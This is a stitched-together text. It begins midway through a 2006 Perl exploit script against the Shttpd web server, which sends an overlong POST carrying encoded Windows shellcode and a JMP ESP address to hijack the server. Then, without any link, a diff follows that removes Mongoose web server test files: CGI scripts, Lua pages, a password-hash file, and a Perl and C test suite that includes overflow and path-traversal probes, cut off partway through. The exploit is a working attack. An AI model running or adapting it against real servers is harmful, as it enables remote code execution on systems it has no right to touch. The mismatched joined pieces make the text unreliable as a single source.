print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
build/test/hello.cgi
-6
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@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
build/test/hello.txt
-1
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@@ -1 +0,0 @@
simple text file
build/test/new.mg.lua
-43
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@@ -1,43 +0,0 @@
mg.write('HTTP/1.0 200 OK\r\n', 'Content-Type: text/plain\r\n', '\r\n')
mg.write(os.date("%A"))
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
build/test/page.lp
-67
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@@ -1,67 +0,0 @@
HTTP/1.0 200 OK
Content-Type: text/html
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
</head>
<body>
<p>This is an example Lua server page served by
<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
Mongoose has Lua, Sqlite, and other functionality built in the binary.
This example page stores the request in the Sqlite database, and shows
all requests done previously.</p>
<p> Today is <? mg.write(os.date("%A")) ?>
<pre>
<?
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec('PRAGMA encoding="UTF-8"; ')
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
?>
</pre>
This is an example on how to include files a-la SSI:
<pre><? mg.write(io.open('dll.def'):read('*all')) ?></pre>
</body></html>
build/test/passfile
-3
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@@ -1,3 +0,0 @@
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
build/test/sh.cgi
-6
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@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
build/test/test.pl
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@@ -1,436 +0,0 @@
#!/usr/bin/env perl
# This script is used to test Mongoose web server
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
use IO::Socket;
use File::Path;
use File::Basename;
use Cwd;
use strict;
use warnings;
#use diagnostics;
sub on_windows { $^O =~ /win32/i; }
my $port = 31295;
my $pid = undef;
my $num_requests;
my $dir_separator = on_windows() ? '\\' : '/';
my $copy_cmd = on_windows() ? 'copy' : 'cp';
my $test_dir_uri = "test_dir";
my $root = './test';
my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator);
my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
#print "$test_dir\n"; exit 0;
my $config = 'mongoose.conf';
my $exe_ext = on_windows() ? '.exe' : '';
my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
my $exit_code = 0;
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
"$root/myperl", $embed_exe, $unit_test_exe);
END {
#system('cat access.log');
unlink @files_to_delete;
kill_spawned_child();
File::Path::rmtree($test_dir);
exit $exit_code;
}
sub fail {
print "FAILED: @_\n";
$exit_code = 1;
exit 1;
}
sub get_num_of_log_entries {
open FD, "access.log" or return 0;
my @lines = (<FD>);
close FD;
return scalar @lines;
}
# Send the request to the 127.0.0.1:$port and return the reply
sub req {
my ($request, $inc, $timeout) = @_;
my $sock = IO::Socket::INET->new(Proto => 6,
PeerAddr => '127.0.0.1', PeerPort => $port);
fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
$sock->autoflush(1);
foreach my $byte (split //, $request) {
last unless print $sock $byte;
select undef, undef, undef, .001 if length($request) < 256;
}
my ($out, $buf) = ('', '');
eval {
alarm $timeout if $timeout;
$out .= $buf while ((sysread($sock, $buf, 1024) or 0) > 0);
alarm 0 if $timeout;
};
close $sock;
$num_requests += defined($inc) ? $inc : 1;
my $num_logs = get_num_of_log_entries();
unless ($num_requests == $num_logs) {
fail("Request has not been logged: [$request], output: [$out]");
}
return $out;
}
# Send the request. Compare with the expected reply. Fail if no match
sub o {
my ($request, $expected_reply, $message, $num_logs) = @_;
print "==> $message ... ";
my $reply = req($request, $num_logs);
if ($reply =~ /$expected_reply/s) {
print "OK\n";
} else {
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
fail("Expected: [$expected_reply], got: [$reply]");
}
}
# Spawn a server listening on specified port
sub spawn {
my ($cmdline) = @_;
print 'Executing: ', @_, "\n";
if (on_windows()) {
my @args = split /\s+/, $cmdline;
my $executable = $args[0];
Win32::Spawn($executable, $cmdline, $pid);
die "Cannot spawn @_: $!" unless $pid;
} else {
unless ($pid = fork()) {
exec $cmdline;
die "cannot exec [$cmdline]: $!\n";
}
}
sleep 1;
}
sub write_file {
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
binmode FD;
print FD $_[1];
close FD;
}
sub read_file {
open FD, $_[0] or fail "Cannot open $_[0]: $!";
my @lines = <FD>;
close FD;
return join '', @lines;
}
sub kill_spawned_child {
if (defined($pid)) {
kill(9, $pid);
waitpid($pid, 0);
}
}
####################################################### ENTRY POINT
unlink @files_to_delete;
$SIG{PIPE} = 'IGNORE';
$SIG{ALRM} = sub { die "timeout\n" };
#local $| =1;
# Make sure we export only symbols that start with "mg_", and keep local
# symbols static.
if ($^O =~ /darwin|bsd|linux/) {
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
foreach (split /\n/, $out) {
/T\s+_?mg_.+/ or fail("Exported symbol $_")
}
}
# Make sure we load config file if no options are given.
# Command line options override config files settings
write_file($config, "access_log_file access.log\n" .
"document_root $root\n" .
"listening_port 127.0.0.1:23164\n");
spawn("$mongoose_exe -listening_port 127.0.0.1:$port");
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
kill_spawned_child();
# "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
# "-enable_keep_alive yes ".
# Spawn the server on port $port
my $cmd = "$mongoose_exe ".
"-listening_port 127.0.0.1:$port ".
"-access_log_file access.log ".
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
"-dav_auth_file $abs_root/passfile " .
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
"-document_root $root ".
"-hide_files_patterns **exploit.PL ".
"-url_rewrites /aiased=/etc/,/ta=$test_dir";
$cmd .= ' -cgi_interpreter perl' if on_windows();
spawn($cmd);
o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!',
'Non-ascii chars in path');
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
'Content-Length: 15\s', 'Range past the file end');
o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n ".
"GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n",
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
'Request pipelining', 2);
my $x = 'x=' . 'A' x (200 * 1024);
my $len = length($x);
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
'^HTTP/1.1 200 OK', 'Long POST');
# Try to overflow: Send very long request
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
'HTTP/1.1 200 OK', 'Negative content length');
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
'GET regular file Content-Length');
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
'HTTP/1.1 200 OK', 'URL-decoding');
# '+' in URI must not be URL-decoded to space
write_file("$root/a+.txt", ':-)');
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
# Break CGI reading after 1 second. We must get full output.
# Since CGI script does sleep, we sleep as well and increase request count
# manually.
my $slow_cgi_reply;
print "==> Slow CGI output ... ";
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
print "OK\n";
sleep 2;
#$num_requests++;
# Test HTTP version parsing
o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0);
o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 1);
o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 1);
o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 1);
# File with leading single dot
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
if on_windows();
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
mkdir $test_dir unless -d $test_dir;
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
'HTTP/1.1 404', 'PATH_INFO loop problem');
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
write_file("$test_dir/index.html", "tralala");
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
mkdir $test_dir . $dir_separator . 'x';
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
chmod(0755, $path);
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
'index.cgi execution');
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
"SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
'Aliases SCRIPT_NAME');
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
'No keep-alive');
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
write_file($path, "#!../../myperl\n" .
"print \"Content-Type: text/plain\\n\\nhi\";");
chmod(0755, $path);
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
my $mime_types = {
html => 'text/html',
htm => 'text/html',
txt => 'text/plain',
unknown_extension => 'text/plain',
js => 'application/x-javascript',
css => 'text/css',
jpg => 'image/jpeg',
c => 'text/plain',
'tar.gz' => 'blah',
bar => 'foo/bar',
baz => 'foo',
};
foreach my $key (keys %$mime_types) {
my $filename = "_mime_file_test.$key";
write_file("$root/$filename", '');
o("GET /$filename HTTP/1.0\n\n",
"Content-Type: $mime_types->{$key}", ".$key mime type");
unlink "$root/$filename";
}
# Get binary file and check the integrity
my $binary_file = 'binary_file';
my $f2 = '';
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
write_file("$root/$binary_file", $f2);
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
"Range: bytes=3-5\r\n\r\n";
o($range_request, '206 Partial Content', 'Range: 206 status code');
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
o($range_request, '\nple$', 'Range: body content');
# Test directory sorting. Sleep between file creation for 1.1 seconds,
# to make sure modification time are different.
mkdir "$test_dir/sort";
write_file("$test_dir/sort/11", 'xx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/aa", 'xxxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/bb", 'xxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/22", 'x');
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
'Directory listing (name, ascending)');
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
'Directory listing (name, descending)');
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
'Directory listing (size, ascending)');
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
'Directory listing (size, descending)');
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
'Directory listing (modification time, ascending)');
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
'Directory listing (modification time, descending)');
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
# Check that .htpasswd file existence trigger authorization
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on file request');
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on directory request');
# Test various funky things in an authentication header.
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
'401 Unauthorized', 'weird auth values should not cause crashes');
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
# TODO(lsm): re-enable auth checks
unlink "$root/.htpasswd";
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
'.htpasswd is hidden from the directory list');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
'hidden file is hidden from the directory list');
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404', 'hidden files must not be shown');
o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
o("GET /bad2.cgi HTTP/1.0\n\n", "^HTTP/1.1 302", 'CGI Status code');
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
'GET sh CGI file') unless on_windows();
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
'QUERY_STRING wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'var=HELLO', 'CGI POST wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
'HTTP_MY_HDR=abc', 'HTTP_* env');
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
# Check that CGI's current directory is set to script's directory
my $copy_cmd = on_windows() ? 'copy' : 'cp';
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
$dir_separator . 'env.cgi');
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
# Manipulate the passwords file
my $path = 'test_htpasswd';
unlink $path;
system("$mongoose_exe -A $path a b c") == 0
or fail("Cannot add user in a passwd file");
system("$mongoose_exe -A $path a b c2") == 0
or fail("Cannot edit user in a passwd file");
my $content = read_file($path);
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
unlink $path;
do_PUT_test();
kill_spawned_child();
}
sub do_PUT_test {
# This only works because mongoose currently doesn't look at the nonce.
# It should really be rejected...
my $auth_header = "Authorization: Digest username=guest, ".
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
"response=896327350763836180c61d87578037d9, qop=auth, ".
"nc=00000002, cnonce=53eddd3be4e26a98\n";
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
"HTTP/1.1 201 OK", 'PUT file, status 201');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq '1234567';
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
"HTTP/1.1 200 OK", 'PUT file, status 200');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq 'abcd';
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
"HTTP/1.1 411 Length Required", 'PUT 411 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
"$auth_header\nabcd",
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
}
print "SUCCESS! All tests passed.\n";
build/test/timeout.cgi
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#!/usr/bin/env perl
# Make stdout unbuffered
use FileHandle;
STDOUT->autoflush(1);
# This script outputs some content, then sleeps for 5 seconds, then exits.
# Web server should return the content immediately after it is sent,
# not waiting until the script exits.
print "Content-Type: text/html\r\n\r\n";
print "Some data";
sleep 3;
build/test/unit_test.c
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@@ -1,514 +0,0 @@
// Unit test for the mongoose web server.
#define USE_WEBSOCKET
#define USE_LUA
#ifndef _WIN32
#define USE_IPV6
#include <netdb.h> // For gethostbyname()
#endif
// USE_* definitions must be made before #include "mongoose.c" !
#include "../mongoose.c"
#define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
return str; \
} while (0)
#define ASSERT(expr) do { \
static_num_tests++; \
if (!(expr)) FAIL(#expr, __LINE__); \
} while (0)
#define RUN_TEST(test) do { const char *msg = test(); \
if (msg) return msg; } while (0)
#define HTTP_PORT "45772"
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
static int static_num_tests = 0;
// Connects to host:port, and sends formatted request to it. Returns
// malloc-ed reply and reply length, or NULL on error. Reply contains
// everything including headers, not just the message body.
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
char buf[2000], *reply = NULL;
int request_len, reply_size = 0, n, sock = -1;
struct sockaddr_in sin;
struct hostent *he = NULL;
va_list ap;
if (host != NULL &&
(he = gethostbyname(host)) != NULL &&
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
// Format and send the request.
va_start(ap, fmt);
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
request_len -= n;
}
if (request_len == 0) {
*len = 0;
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
if (*len + n > reply_size) {
reply = realloc(reply, reply_size + sizeof(buf)); // Leak possible
reply_size += sizeof(buf);
}
if (reply != NULL) {
memcpy(reply + *len, buf, n);
*len += n;
}
}
}
closesocket(sock);
}
}
return reply;
}
static char *read_file(const char *path, int *size) {
FILE *fp;
struct stat st;
char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size;
assert((data = malloc(*size)) != NULL);
assert(fread(data, 1, *size, fp) == (size_t) *size);
fclose(fp);
}
return data;
}
static const char *test_parse_http_message() {
struct mg_connection ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
char req5[] = "GET / HTTP/1.1\r\n\r\n";
char req6[] = "G";
char req7[] = " blah ";
char req8[] = " HTTP/1.1 200 OK \n\n";
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
ASSERT(get_request_len("\r\n", 3) == -1);
ASSERT(get_request_len("\r\n", 2) == 0);
ASSERT(get_request_len("GET", 3) == 0);
ASSERT(get_request_len("\n\n", 2) == 2);
ASSERT(get_request_len("\n\r\n", 3) == 3);
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
ASSERT(get_request_len("\xdd\x03", 2) == -1);
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
ASSERT(ri.num_headers == 1);
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
ASSERT(parse_http_message(req6, 0, &ri) == -1);
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
// TODO(lsm): Fix this. Header value may span multiple lines.
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
ASSERT(strcmp(ri.request_method, "GET") == 0);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
return NULL;
}
static const char *test_should_keep_alive(void) {
struct mg_connection conn;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
ASSERT(should_keep_alive(&conn) != 0);
parse_http_message(req2, sizeof(req2) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req3, sizeof(req3) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req4, sizeof(req4) - 1, &conn);
ASSERT(should_keep_alive(&conn) != 0);
return NULL;
}
static const char *test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
